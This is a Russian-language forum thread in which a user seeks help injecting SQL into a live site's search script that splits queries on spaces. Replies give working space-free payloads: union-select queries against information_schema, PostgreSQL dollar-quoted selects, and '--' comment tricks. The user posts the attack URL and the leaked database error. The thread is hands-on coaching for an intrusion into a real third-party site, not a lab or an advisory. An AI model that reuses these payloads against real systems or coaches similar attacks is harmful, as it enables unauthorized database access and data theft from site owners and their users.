![]() |
Имею дело с уязвимым поисковым скриптом. Свободно и без ошибок проходят все инъекции без пробелов и "+", например
?q=asd')OR(1=1)OR('sad'='ssd но стоит в запросе применить пробел, как выдаеца ошибка. поизучал скрипт, выяснил что это ииза того, что поисковик обрабатывает слова по отдельности, таксказать...чтобы круче искало... WHERE ((title ILIKE '%asd')%' AND title ILIKE '%or(1=1)or%') сопсна вопрос: что делать с этой гадостью, дабы была возможность человеческие инъекции проводить, а не "OR(1=1)"?? |
попробуй использовать
Код:
/**/ |
пробовал.... ему походу ваще на комментарии пофигу... только вот это я не знаю как объяснить
|
Например так
Код HTML:
(-1)union(select(1),2,3)Код HTML:
(-1)union(select(table_name),2,(3)from(information_schema.tables))Код HTML:
(-1)union(select(table_name),2,(3)from(information_schema.tables)where(table_name>'SCHEMA_PRIVILEGES')) |
чет ваще не канает...но на вопрос ответил, спс.
а вот еще такой момент: если известно что имею дело с PostgreSQL, то коректна такая связка? Код HTML:
OR(select(blabla)) |
Для постгреса валидны варианты
Код:
select"column_name"from"information_schema"."columns"where"table_name"=$$clients$$; |
чет всеравно выдает трехэтажную ошибку...
есть какойнить способ заставить его игнорировать остальную часть скрипта, кроме /* и # ? |
Ошибку-то покажите. В постгресе игнорирование остальной части запроса с помощью /* не выйдет - СУБД выдаст ошибку, ибо требует закрытия комментария. # тут вообще не поможет. Пробуйте
Код:
-- |
вбиваю к примеру
Код HTML:
http://site.ru/trade/future/?q=asd')OR(1=1)OR('ass'='asвместо 1=1 подставляю, к примеру select'1' на что мне отвечают Код HTML:
ERROR [2] pg_query() [function.pg-query]: Query failed: ERROR: failed to find conversion function from unknown to boolean on line 135 in file /castle/sites/site.ru/htdocs/includes/database/database.pgsql.php (page: /trade/future/?q=asd')OR(select'1')OR('ass'='as) Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.6.30 Version/10.61ERROR [2] pg_query() [function.pg-query]: Query failed: ERROR: failed to find conversion function from unknown to boolean on line 135 in file /castle/sites/site.ru/htdocs/includes/database/database.pgsql.php (page: /trade/future/?q=asd')OR(select'1')OR('ass'='as) Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.6.30 Version/10.61 |
Так?
Код:
http://site.ru/trade/future/?q=asd')OR(select'1')... |
| Время: 05:25 |